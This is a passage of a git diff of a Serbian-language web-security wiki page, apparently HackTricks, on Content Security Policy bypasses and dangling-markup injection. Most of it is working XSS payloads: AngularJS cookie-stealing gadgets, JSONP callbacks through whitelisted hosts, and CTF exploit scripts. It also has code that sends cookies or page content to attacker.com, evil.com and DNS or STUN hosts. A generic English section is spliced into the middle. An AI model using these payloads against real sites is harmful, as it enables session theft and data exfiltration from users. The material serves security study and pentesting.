Usmeravanjem ovog niza ka filteru `orderBy`, moguće je iterirati preko njega, iskorišćavajući terminalni element (objekat `window`) kako bi se pokrenula globalna funkcija poput `alert()`. Demonstrirani odlomak koda ispod objašnjava ovaj proces:
|
||||||
|
|
||||||
```xml
|
```xml
|
||||||
<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
|
<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
|
||||||
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x
|
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x
|
||||||
```
|
```
|
||||||
|
|
||||||
Ovaj isječak ističe upotrebu `ng-focus` direktive za pokretanje događaja, korišćenje `$event.path|orderBy` za manipulaciju nizom `path`, i iskorišćavanje `window` objekta za izvršavanje funkcije `alert()`, otkrivajući tako `document.cookie`.
|
Ovaj isječak ističe upotrebu `ng-focus` direktive za pokretanje događaja, korišćenje `$event.path|orderBy` za manipulaciju nizom `path`, i iskorišćavanje `window` objekta za izvršavanje funkcije `alert()`, otkrivajući tako `document.cookie`.
|
||||||
|
|
||||||
**Pronađite druge Angular zaobilaze na** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)
|
**Pronađite druge Angular zaobilaze na** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)
|
||||||
|
|
||||||
### AngularJS i belački domen
|
### AngularJS i belački domen
|
||||||
|
|
||||||
```
|
```
|
||||||
Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;
|
Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;
|
||||||
```
|
```
|
||||||
|
|
||||||
CSP politika koja beleži domene za učitavanje skripti u Angular JS aplikaciji može biti zaobiđena pozivom povratnih funkcija i određenih ranjivih klasa. Dodatne informacije o ovoj tehnici mogu se pronaći u detaljnom vodiču dostupnom na ovom [git repozitorijumu](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh\*t,-it's-CSP!%22).
|
CSP politika koja beleži domene za učitavanje skripti u Angular JS aplikaciji može biti zaobiđena pozivom povratnih funkcija i određenih ranjivih klasa. Dodatne informacije o ovoj tehnici mogu se pronaći u detaljnom vodiču dostupnom na ovom [git repozitorijumu](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh\*t,-it's-CSP!%22).
|
||||||
|
|
||||||
Radni payloadi:
|
Radni payloadi:
|
||||||
|
|
||||||
```html
|
```html
|
||||||
<script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>
|
<script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>
|
||||||
ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>
|
ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>
|
||||||
|
@ -439,6 +490,7 @@ ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com
|
||||||
<!-- no longer working -->
|
<!-- no longer working -->
|
||||||
<script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)">
|
<script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)">
|
||||||
```
|
```
|
||||||
|
|
||||||
Drugi JSONP proizvoljni izvršni endpointi mogu se pronaći [**ovde**](https://github.com/zigoo0/JSONBee/blob/master/jsonp.txt) (neki od njih su obrisani ili popravljeni)
|
Drugi JSONP proizvoljni izvršni endpointi mogu se pronaći [**ovde**](https://github.com/zigoo0/JSONBee/blob/master/jsonp.txt) (neki od njih su obrisani ili popravljeni)
|
||||||
|
|
||||||
### Bypass putem preusmeravanja
|
### Bypass putem preusmeravanja
|
||||||
|
@ -448,6 +500,7 @@ Drugi JSONP proizvoljni izvršni endpointi mogu se pronaći [**ovde**](https://g
|
||||||
Međutim, prema opisu u [CSP specifikaciji 4.2.2.3. Putanje i preusmeravanja](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects), ako preusmeravanje vodi ka drugoj putanji, može zaobići originalna ograničenja.
|
Međutim, prema opisu u [CSP specifikaciji 4.2.2.3. Putanje i preusmeravanja](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects), ako preusmeravanje vodi ka drugoj putanji, može zaobići originalna ograničenja.
|
||||||
|
|
||||||
Evo primera:
|
Evo primera:
|
||||||
|
|
||||||
```html
|
```html
|
||||||
<!DOCTYPE html>
|
<!DOCTYPE html>
|
||||||
<html>
|
<html>
|
||||||
|
@ -463,6 +516,7 @@ Evo primera:
|
||||||
</body>
|
</body>
|
||||||
</html>
|
</html>
|
||||||
```
|
```
|
||||||
|
|
||||||
Ako je CSP postavljen na `https://www.google.com/a/b/c/d`, s obzirom da se putanja uzima u obzir, i skripte `/test` i `/a/test` će biti blokirane od strane CSP.
|
Ako je CSP postavljen na `https://www.google.com/a/b/c/d`, s obzirom da se putanja uzima u obzir, i skripte `/test` i `/a/test` će biti blokirane od strane CSP.
|
||||||
|
|
||||||
Međutim, konačni `http://localhost:5555/301` će biti **preusmeren na serverskoj strani na `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`**. Budući da je u pitanju preusmerenje, **putanja se ne uzima u obzir**, i **skripta može biti učitana**, čime se zaobilazi ograničenje putanje.
|
Međutim, konačni `http://localhost:5555/301` će biti **preusmeren na serverskoj strani na `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`**. Budući da je u pitanju preusmerenje, **putanja se ne uzima u obzir**, i **skripta može biti učitana**, čime se zaobilazi ograničenje putanje.
|
||||||
|
@ -476,15 +530,19 @@ Stoga, najbolje rešenje je osigurati da veb lokacija nema otvorene ranjivosti z
|
||||||
Pročitajte [ovde](../dangling-markup-html-scriptless-injection/).
|
Pročitajte [ovde](../dangling-markup-html-scriptless-injection/).
|
||||||
|
|
||||||
### 'unsafe-inline'; img-src \*; putem XSS
|
### 'unsafe-inline'; img-src \*; putem XSS
|
||||||
|
|
||||||
```
|
```
|
||||||
default-src 'self' 'unsafe-inline'; img-src *;
|
default-src 'self' 'unsafe-inline'; img-src *;
|
||||||
```
|
```
|
||||||
|
|
||||||
`'unsafe-inline'` znači da možete izvršiti bilo koji skript unutar koda (XSS može izvršiti kod) i `img-src *` znači da možete koristiti na veb stranici bilo koju sliku sa bilo kog resursa.
|
`'unsafe-inline'` znači da možete izvršiti bilo koji skript unutar koda (XSS može izvršiti kod) i `img-src *` znači da možete koristiti na veb stranici bilo koju sliku sa bilo kog resursa.
|
||||||
|
|
||||||
Ovu CSP možete zaobići eksfiltriranjem podataka putem slika (u ovom slučaju XSS zloupotrebljava CSRF gde stranica dostupna botu sadrži SQLi, i izvlači zastavu putem slike):
|
Ovu CSP možete zaobići eksfiltriranjem podataka putem slika (u ovom slučaju XSS zloupotrebljava CSRF gde stranica dostupna botu sadrži SQLi, i izvlači zastavu putem slike):
|
||||||
|
|
||||||
```javascript
|
```javascript
|
||||||
<script>fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new Image().src='http://PLAYER_SERVER/?'+_)</script>
|
<script>fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new Image().src='http://PLAYER_SERVER/?'+_)</script>
|
||||||
```
|
```
|
||||||
|
|
||||||
Sa ovom konfiguracijom takođe možete zloupotrebiti **učitavanje JavaScript koda ubačenog unutar slike**. Na primer, ako stranica dozvoljava učitavanje slika sa Twittera, možete **napraviti** **specijalnu sliku**, **učitati** je na Twitter i zloupotrebiti "**unsafe-inline**" da **izvršite** JS kod (kao redovan XSS) koji će **učitati** sliku, **izvući** JS iz nje i **izvršiti** **ga**: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
|
Sa ovom konfiguracijom takođe možete zloupotrebiti **učitavanje JavaScript koda ubačenog unutar slike**. Na primer, ako stranica dozvoljava učitavanje slika sa Twittera, možete **napraviti** **specijalnu sliku**, **učitati** je na Twitter i zloupotrebiti "**unsafe-inline**" da **izvršite** JS kod (kao redovan XSS) koji će **učitati** sliku, **izvući** JS iz nje i **izvršiti** **ga**: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
|
||||||
|
|
||||||
### Sa Servisnim Radnicima
|
### Sa Servisnim Radnicima
|
||||||
|
@ -502,10 +560,12 @@ Funkcija **`importScripts`** servisnih radnika nije ograničena CSP-om:
|
||||||
#### Chrome
|
#### Chrome
|
||||||
|
|
||||||
Ako je **parametar** koji ste poslali **zalepljen unutar** **deklaracije** **politike**, tada možete **izmeniti** **politiku** na način koji je **beskoristan**. Možete **dozvoliti skript 'unsafe-inline'** sa bilo kojim od ovih prelaza:
|
Ako je **parametar** koji ste poslali **zalepljen unutar** **deklaracije** **politike**, tada možete **izmeniti** **politiku** na način koji je **beskoristan**. Možete **dozvoliti skript 'unsafe-inline'** sa bilo kojim od ovih prelaza:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
script-src-elem *; script-src-attr *
|
script-src-elem *; script-src-attr *
|
||||||
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
|
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
|
||||||
```
|
```
|
||||||
|
|
||||||
Zato što će ovaj direktiv **prepisati postojeće direktive script-src**.\
|
Zato što će ovaj direktiv **prepisati postojeće direktive script-src**.\
|
||||||
Primer možete pronaći ovde: [http://portswigger-labs.net/edge\_csp\_injection\_xndhfye721/?x=%3Bscript-src-elem+\*\&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E](http://portswigger-labs.net/edge\_csp\_injection\_xndhfye721/?x=%3Bscript-src-elem+\*\&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E)
|
Primer možete pronaći ovde: [http://portswigger-labs.net/edge\_csp\_injection\_xndhfye721/?x=%3Bscript-src-elem+\*\&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E](http://portswigger-labs.net/edge\_csp\_injection\_xndhfye721/?x=%3Bscript-src-elem+\*\&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E)
|
||||||
|
|
||||||
|
@ -520,6 +580,7 @@ Primetite nedostatak direktive `'unsafe-inline'`\
|
||||||
Ovog puta možete naterati žrtvu da **učita** stranicu pod **vašom kontrolom** putem **XSS** sa `<iframe`. Ovog puta ćete naterati žrtvu da pristupi stranici sa koje želite da izvučete informacije (**CSRF**). Ne možete pristupiti sadržaju stranice, ali ako na neki način možete **kontrolisati vreme koje je potrebno stranici da se učita** možete izvući potrebne informacije.
|
Ovog puta možete naterati žrtvu da **učita** stranicu pod **vašom kontrolom** putem **XSS** sa `<iframe`. Ovog puta ćete naterati žrtvu da pristupi stranici sa koje želite da izvučete informacije (**CSRF**). Ne možete pristupiti sadržaju stranice, ali ako na neki način možete **kontrolisati vreme koje je potrebno stranici da se učita** možete izvući potrebne informacije.
|
||||||
|
|
||||||
Ovog puta će se **flag** izvući, svaki put kada se **karakter tačno pogodi** putem SQLi, **odgovor** traje **duže** zbog sleep funkcije. Tada ćete moći izvući flag:
|
Ovog puta će se **flag** izvući, svaki put kada se **karakter tačno pogodi** putem SQLi, **odgovor** traje **duže** zbog sleep funkcije. Tada ćete moći izvući flag:
|
||||||
|
|
||||||
```html
|
```html
|
||||||
<!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
|
<!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
|
||||||
<iframe name=f id=g></iframe> // The bot will load an URL with the payload
|
<iframe name=f id=g></iframe> // The bot will load an URL with the payload
|
||||||
|
@ -579,6 +640,7 @@ console.log(prefix);
|
||||||
run();
|
run();
|
||||||
</script>
|
</script>
|
||||||
```
|
```
|
||||||
|
|
||||||
### Preko Bookmarkleta
|
### Preko Bookmarkleta
|
||||||
|
|
||||||
Ovaj napad bi implicirao neko oblik društvenog inženjeringa gde napadač **ubeđuje korisnika da prevuče i ispusti link preko bookmarkleta pretraživača**. Ovaj bookmarklet bi sadržao **zlonamerni JavaScript** kod koji bi se izvršio u kontekstu trenutnog prozora veba, **zaobilazeći CSP i omogućavajući krađu osetljivih informacija** poput kolačića ili tokena.
|
Ovaj napad bi implicirao neko oblik društvenog inženjeringa gde napadač **ubeđuje korisnika da prevuče i ispusti link preko bookmarkleta pretraživača**. Ovaj bookmarklet bi sadržao **zlonamerni JavaScript** kod koji bi se izvršio u kontekstu trenutnog prozora veba, **zaobilazeći CSP i omogućavajući krađu osetljivih informacija** poput kolačića ili tokena.
|
||||||
|
@ -599,12 +661,14 @@ Možete **ograničiti CSP Iframe-a** pomoću atributa **`csp`**:
|
||||||
|
|
||||||
U [**ovom CTF zapisu**](https://github.com/aszx87410/ctf-writeups/issues/48), bilo je moguće putem **HTML ubacivanja** dodatno **ograničiti** **CSP** tako da je skripta koja sprečava CSTI bila onemogućena i stoga je **ranjivost postala iskoristiva.**\
|
U [**ovom CTF zapisu**](https://github.com/aszx87410/ctf-writeups/issues/48), bilo je moguće putem **HTML ubacivanja** dodatno **ograničiti** **CSP** tako da je skripta koja sprečava CSTI bila onemogućena i stoga je **ranjivost postala iskoristiva.**\
|
||||||
CSP može postati stroži korišćenjem **HTML meta tagova** i inline skripte mogu biti onemogućene **uklanjanjem** **unosa** koji omogućava njihov **nonce** i **omogućavanje specifične inline skripte putem sha**:
|
CSP može postati stroži korišćenjem **HTML meta tagova** i inline skripte mogu biti onemogućene **uklanjanjem** **unosa** koji omogućava njihov **nonce** i **omogućavanje specifične inline skripte putem sha**:
|
||||||
|
|
||||||
```html
|
```html
|
||||||
<meta http-equiv="Content-Security-Policy" content="script-src 'self'
|
<meta http-equiv="Content-Security-Policy" content="script-src 'self'
|
||||||
'unsafe-eval' 'strict-dynamic'
|
'unsafe-eval' 'strict-dynamic'
|
||||||
'sha256-whKF34SmFOTPK4jfYDy03Ea8zOwJvqmz%2boz%2bCtD7RE4='
|
'sha256-whKF34SmFOTPK4jfYDy03Ea8zOwJvqmz%2boz%2bCtD7RE4='
|
||||||
'sha256-Tz/iYFTnNe0de6izIdG%2bo6Xitl18uZfQWapSbxHE6Ic=';">
|
'sha256-Tz/iYFTnNe0de6izIdG%2bo6Xitl18uZfQWapSbxHE6Ic=';">
|
||||||
```
|
```
|
||||||
|
|
||||||
### JS ekstrakcija pomoću Content-Security-Policy-Report-Only
|
### JS ekstrakcija pomoću Content-Security-Policy-Report-Only
|
||||||
|
|
||||||
Ako uspete da naterate server da odgovori sa zaglavljem **`Content-Security-Policy-Report-Only`** sa **vrednošću kojom upravljate vi** (možda zbog CRLF-a), možete ga naterati da upućuje ka vašem serveru i ako **obavijete** **JS sadržaj** koji želite da ekstrahujete sa **`<script>`** i jer je veoma verovatno da `unsafe-inline` nije dozvoljen od strane CSP-a, ovo će **pokrenuti CSP grešku** i deo skripte (koji sadrži osetljive informacije) će biti poslat na server iz `Content-Security-Policy-Report-Only`.
|
Ako uspete da naterate server da odgovori sa zaglavljem **`Content-Security-Policy-Report-Only`** sa **vrednošću kojom upravljate vi** (možda zbog CRLF-a), možete ga naterati da upućuje ka vašem serveru i ako **obavijete** **JS sadržaj** koji želite da ekstrahujete sa **`<script>`** i jer je veoma verovatno da `unsafe-inline` nije dozvoljen od strane CSP-a, ovo će **pokrenuti CSP grešku** i deo skripte (koji sadrži osetljive informacije) će biti poslat na server iz `Content-Security-Policy-Report-Only`.
|
||||||
|
@ -612,9 +676,11 @@ Ako uspete da naterate server da odgovori sa zaglavljem **`Content-Security-Poli
|
||||||
Za primer [**proverite ovaj CTF writeup**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes).
|
Za primer [**proverite ovaj CTF writeup**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes).
|
||||||
|
|
||||||
### [CVE-2020-6519](https://www.perimeterx.com/tech-blog/2020/csp-bypass-vuln-disclosure/)
|
### [CVE-2020-6519](https://www.perimeterx.com/tech-blog/2020/csp-bypass-vuln-disclosure/)
|
||||||
|
|
||||||
```javascript
|
```javascript
|
||||||
document.querySelector('DIV').innerHTML="<iframe src='javascript:var s = document.createElement(\"script\");s.src = \"https://pastebin.com/raw/dw5cWGK6\";document.body.appendChild(s);'></iframe>";
|
document.querySelector('DIV').innerHTML="<iframe src='javascript:var s = document.createElement(\"script\");s.src = \"https://pastebin.com/raw/dw5cWGK6\";document.body.appendChild(s);'></iframe>";
|
||||||
```
|
```
|
||||||
|
|
||||||
### Otkrivanje informacija pomoću CSP i Iframe-a
|
### Otkrivanje informacija pomoću CSP i Iframe-a
|
||||||
|
|
||||||
* Kreira se `iframe` koji pokazuje ka URL-u (nazovimo ga `https://example.redirect.com`) koji je dozvoljen od strane CSP-a.
|
* Kreira se `iframe` koji pokazuje ka URL-u (nazovimo ga `https://example.redirect.com`) koji je dozvoljen od strane CSP-a.
|
||||||
|
@ -624,9 +690,11 @@ document.querySelector('DIV').innerHTML="<iframe src='javascript:var s = documen
|
||||||
Zanimljivo je napomenuti da pregledači poput Chrome-a i Firefox-a imaju različito ponašanje u rukovanju iframe-ovima u vezi sa CSP-om, što može dovesti do potencijalnog otkrivanja osetljivih informacija zbog nedefinisanog ponašanja.
|
Zanimljivo je napomenuti da pregledači poput Chrome-a i Firefox-a imaju različito ponašanje u rukovanju iframe-ovima u vezi sa CSP-om, što može dovesti do potencijalnog otkrivanja osetljivih informacija zbog nedefinisanog ponašanja.
|
||||||
|
|
||||||
Druga tehnika uključuje iskorišćavanje samog CSP-a kako bi se zaključio tajni poddomen. Ova metoda se oslanja na binarnu pretragu i prilagođavanje CSP-a kako bi uključila određene domene koji su namerno blokirani. Na primer, ako tajni poddomen sadrži nepoznate karaktere, možete iterativno testirati različite poddomene modifikujući CSP direktivu da blokira ili dozvoljava ove poddomene. Evo isečka koji prikazuje kako bi CSP mogao biti podešen da olakša ovu metodu:
|
Druga tehnika uključuje iskorišćavanje samog CSP-a kako bi se zaključio tajni poddomen. Ova metoda se oslanja na binarnu pretragu i prilagođavanje CSP-a kako bi uključila određene domene koji su namerno blokirani. Na primer, ako tajni poddomen sadrži nepoznate karaktere, možete iterativno testirati različite poddomene modifikujući CSP direktivu da blokira ili dozvoljava ove poddomene. Evo isečka koji prikazuje kako bi CSP mogao biti podešen da olakša ovu metodu:
|
||||||
|
|
||||||
```markdown
|
```markdown
|
||||||
img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev
|
img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev
|
||||||
```
|
```
|
||||||
|
|
||||||
Prateći koje zahteve CSP blokira ili dozvoljava, moguće je suziti moguće karaktere u tajnom poddomenu, otkrivajući konačno celu URL adresu.
|
Prateći koje zahteve CSP blokira ili dozvoljava, moguće je suziti moguće karaktere u tajnom poddomenu, otkrivajući konačno celu URL adresu.
|
||||||
|
|
||||||
Oba metoda iskorišćavaju nijanse implementacije i ponašanja CSP-a u pregledačima, pokazujući kako se naizgled sigurne politike mogu nenamerno otkriti osetljive informacije.
|
Oba metoda iskorišćavaju nijanse implementacije i ponašanja CSP-a u pregledačima, pokazujući kako se naizgled sigurne politike mogu nenamerno otkriti osetljive informacije.
|
||||||
|
@ -660,12 +728,14 @@ Ideja sa [**ovog writeupa**](https://hackmd.io/@terjanq/justCTF2020-writeups#Bab
|
||||||
### Prepravljanje stranice sa greškom
|
### Prepravljanje stranice sa greškom
|
||||||
|
|
||||||
Iz [**ovog writeupa**](https://blog.ssrf.kr/69) izgleda da je bilo moguće zaobići CSP zaštitu učitavanjem stranice sa greškom (potencijalno bez CSP-a) i prepravljanjem njenog sadržaja.
|
Iz [**ovog writeupa**](https://blog.ssrf.kr/69) izgleda da je bilo moguće zaobići CSP zaštitu učitavanjem stranice sa greškom (potencijalno bez CSP-a) i prepravljanjem njenog sadržaja.
|
||||||
|
|
||||||
```javascript
|
```javascript
|
||||||
a = window.open('/' + 'x'.repeat(4100));
|
a = window.open('/' + 'x'.repeat(4100));
|
||||||
setTimeout(function() {
|
setTimeout(function() {
|
||||||
a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0lec.one/upload/ffffffffffffffffffffffffffffffff').then(x=>x.text()).then(x=>fetch('https://enllwt2ugqrt.x.pipedream.net/'+x))">`;
|
a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0lec.one/upload/ffffffffffffffffffffffffffffffff').then(x=>x.text()).then(x=>fetch('https://enllwt2ugqrt.x.pipedream.net/'+x))">`;
|
||||||
}, 1000);
|
}, 1000);
|
||||||
```
|
```
|
||||||
|
|
||||||
### SOME + 'self' + wordpress
|
### SOME + 'self' + wordpress
|
||||||
|
|
||||||
SOME je tehnika koja zloupotrebljava XSS (ili veoma ograničen XSS) **na kraju stranice** da bi **zloupotrebila** **druge krajnje tačke istog porekla.** Ovo se postiže učitavanjem ranjive krajnje tačke sa stranice napadača, a zatim osvežavanjem stranice napadača do prave krajnje tačke u istom poreklu koju želite zloupotrebiti. Na ovaj način, **ranjiva krajnja tačka** može koristiti **`opener`** objekat u **payload-u** da bi **pristupila DOM-u** **prave krajnje tačke koju želite zloupotrebiti.** Za više informacija pogledajte:
|
SOME je tehnika koja zloupotrebljava XSS (ili veoma ograničen XSS) **na kraju stranice** da bi **zloupotrebila** **druge krajnje tačke istog porekla.** Ovo se postiže učitavanjem ranjive krajnje tačke sa stranice napadača, a zatim osvežavanjem stranice napadača do prave krajnje tačke u istom poreklu koju želite zloupotrebiti. Na ovaj način, **ranjiva krajnja tačka** može koristiti **`opener`** objekat u **payload-u** da bi **pristupila DOM-u** **prave krajnje tačke koju želite zloupotrebiti.** Za više informacija pogledajte:
|
||||||
|
@ -686,30 +756,36 @@ Ako postoji strogi CSP koji vam ne dozvoljava da **interaktujete sa eksternim se
|
||||||
### Lokacija
|
### Lokacija
|
||||||
|
|
||||||
Možete jednostavno ažurirati lokaciju da pošaljete tajne informacije napadačkom serveru:
|
Možete jednostavno ažurirati lokaciju da pošaljete tajne informacije napadačkom serveru:
|
||||||
|
|
||||||
```javascript
|
```javascript
|
||||||
var sessionid = document.cookie.split('=')[1]+".";
|
var sessionid = document.cookie.split('=')[1]+".";
|
||||||
document.location = "https://attacker.com/?" + sessionid;
|
document.location = "https://attacker.com/?" + sessionid;
|
||||||
```
|
```
|
||||||
|
|
||||||
### Meta tag
|
### Meta tag
|
||||||
|
|
||||||
Možete preusmeriti ubacivanjem meta oznake (ovo je samo preusmeravanje, neće procuriti sadržaj)
|
Možete preusmeriti ubacivanjem meta oznake (ovo je samo preusmeravanje, neće procuriti sadržaj)
|
||||||
|
|
||||||
```html
|
```html
|
||||||
<meta http-equiv="refresh" content="1; http://attacker.com">
|
<meta http-equiv="refresh" content="1; http://attacker.com">
|
||||||
```
|
```
|
||||||
|
|
||||||
### DNS Prefetch
|
### DNS Prefetch
|
||||||
|
|
||||||
Da biste učitali stranice brže, pretraživači će unapred rešavati imena hostova u IP adrese i keširati ih za kasniju upotrebu.\
|
Da biste učitali stranice brže, pretraživači će unapred rešavati imena hostova u IP adrese i keširati ih za kasniju upotrebu.\
|
||||||
Možete naznačiti pretraživaču da unapred rešava ime hosta sa: `<link rel="dns-prefetch" href="something.com">`
|
Možete naznačiti pretraživaču da unapred rešava ime hosta sa: `<link rel="dns-prefetch" href="something.com">`
|
||||||
|
|
||||||
Možete zloupotrebiti ovaj postupak da biste **eksfiltrirali osetljive informacije putem DNS zahteva**:
|
Možete zloupotrebiti ovaj postupak da biste **eksfiltrirali osetljive informacije putem DNS zahteva**:
|
||||||
|
|
||||||
```javascript
|
```javascript
|
||||||
var sessionid = document.cookie.split('=')[1]+".";
|
var sessionid = document.cookie.split('=')[1]+".";
|
||||||
var body = document.getElementsByTagName('body')[0];
|
var body = document.getElementsByTagName('body')[0];
|
||||||
body.innerHTML = body.innerHTML + "<link rel=\"dns-prefetch\" href=\"//" + sessionid + "attacker.ch\">";
|
body.innerHTML = body.innerHTML + "<link rel=\"dns-prefetch\" href=\"//" + sessionid + "attacker.ch\">";
|
||||||
```
|
```
|
||||||
|
|
||||||
## Bypassing Content Security Policy (CSP)
|
## Bypassing Content Security Policy (CSP)
|
||||||
|
|
||||||
---
|
***
|
||||||
|
|
||||||
### Introduction
|
### Introduction
|
||||||
|
|
||||||
|
@ -740,16 +816,20 @@ If a CSP uses nonces for script elements, attackers can try to guess or brute fo
|
||||||
### Conclusion
|
### Conclusion
|
||||||
|
|
||||||
Content Security Policy is a powerful security measure, but it's essential to configure it correctly to avoid unintended vulnerabilities. Regularly review and update your CSP to ensure it provides robust protection against code injection attacks.
|
Content Security Policy is a powerful security measure, but it's essential to configure it correctly to avoid unintended vulnerabilities. Regularly review and update your CSP to ensure it provides robust protection against code injection attacks.
|
||||||
|
|
||||||
```javascript
|
```javascript
|
||||||
const linkEl = document.createElement('link');
|
const linkEl = document.createElement('link');
|
||||||
linkEl.rel = 'prefetch';
|
linkEl.rel = 'prefetch';
|
||||||
linkEl.href = urlWithYourPreciousData;
|
linkEl.href = urlWithYourPreciousData;
|
||||||
document.head.appendChild(linkEl);
|
document.head.appendChild(linkEl);
|
||||||
```
|
```
|
||||||
|
|
||||||
Da biste sprečili da se ovo desi, server može poslati HTTP zaglavlje:
|
Da biste sprečili da se ovo desi, server može poslati HTTP zaglavlje:
|
||||||
|
|
||||||
```
|
```
|
||||||
X-DNS-Prefetch-Control: off
|
X-DNS-Prefetch-Control: off
|
||||||
```
|
```
|
||||||
|
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
Očigledno, ova tehnika ne funkcioniše u headless pregledačima (botovima)
|
Očigledno, ova tehnika ne funkcioniše u headless pregledačima (botovima)
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
@ -759,10 +839,13 @@ Očigledno, ova tehnika ne funkcioniše u headless pregledačima (botovima)
|
||||||
Na nekoliko stranica možete pročitati da **WebRTC ne proverava `connect-src` politiku** CSP-a.
|
Na nekoliko stranica možete pročitati da **WebRTC ne proverava `connect-src` politiku** CSP-a.
|
||||||
|
|
||||||
Zapravo, možete _procureti_ informacije koristeći _DNS zahtev_. Pogledajte ovaj kod:
|
Zapravo, možete _procureti_ informacije koristeći _DNS zahtev_. Pogledajte ovaj kod:
|
||||||
|
|
||||||
```javascript
|
```javascript
|
||||||
(async()=>{p=new RTCPeerConnection({iceServers:[{urls: "stun:LEAK.dnsbin"}]});p.createDataChannel('');p.setLocalDescription(await p.createOffer())})()
|
(async()=>{p=new RTCPeerConnection({iceServers:[{urls: "stun:LEAK.dnsbin"}]});p.createDataChannel('');p.setLocalDescription(await p.createOffer())})()
|
||||||
```
|
```
|
||||||
|
|
||||||
Druga opcija:
|
Druga opcija:
|
||||||
|
|
||||||
```javascript
|
```javascript
|
||||||
var pc = new RTCPeerConnection({
|
var pc = new RTCPeerConnection({
|
||||||
"iceServers":[
|
"iceServers":[
|
||||||
|
@ -774,6 +857,7 @@ var pc = new RTCPeerConnection({
|
||||||
});
|
});
|
||||||
pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
|
pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
|
||||||
```
|
```
|
||||||
|
|
||||||
## Provera CSP politika online
|
## Provera CSP politika online
|
||||||
|
|
||||||
* [https://csp-evaluator.withgoogle.com/](https://csp-evaluator.withgoogle.com)
|
* [https://csp-evaluator.withgoogle.com/](https://csp-evaluator.withgoogle.com)
|
||||||
|
|
|
@ -28,31 +28,41 @@ Nekoliko tehnika komentarisanih ovde može se koristiti za zaobilaženje nekih [
|
||||||
Ako ubacite `<img src='http://evil.com/log.cgi?` kada se stranica učita, žrtva će vam poslati sav kod između ubačene `img` oznake i sledeće navodnika unutar koda. Ako se tajna nađe u tom delu, ukradećete je (možete uraditi istu stvar koristeći dvostruki navodnik, pogledajte šta bi moglo biti interesantnije za korišćenje).
|
Ako ubacite `<img src='http://evil.com/log.cgi?` kada se stranica učita, žrtva će vam poslati sav kod između ubačene `img` oznake i sledeće navodnika unutar koda. Ako se tajna nađe u tom delu, ukradećete je (možete uraditi istu stvar koristeći dvostruki navodnik, pogledajte šta bi moglo biti interesantnije za korišćenje).
|
||||||
|
|
||||||
Ako je `img` oznaka zabranjena (zbog CSP na primer) takođe možete koristiti `<meta http-equiv="refresh" content="4; URL='http://evil.com/log.cgi?`
|
Ako je `img` oznaka zabranjena (zbog CSP na primer) takođe možete koristiti `<meta http-equiv="refresh" content="4; URL='http://evil.com/log.cgi?`
|
||||||
|
|
||||||
```html
|
```html
|
||||||
<img src='http://attacker.com/log.php?HTML=
|
<img src='http://attacker.com/log.php?HTML=
|
||||||
<meta http-equiv="refresh" content='0; url=http://evil.com/log.php?text=
|
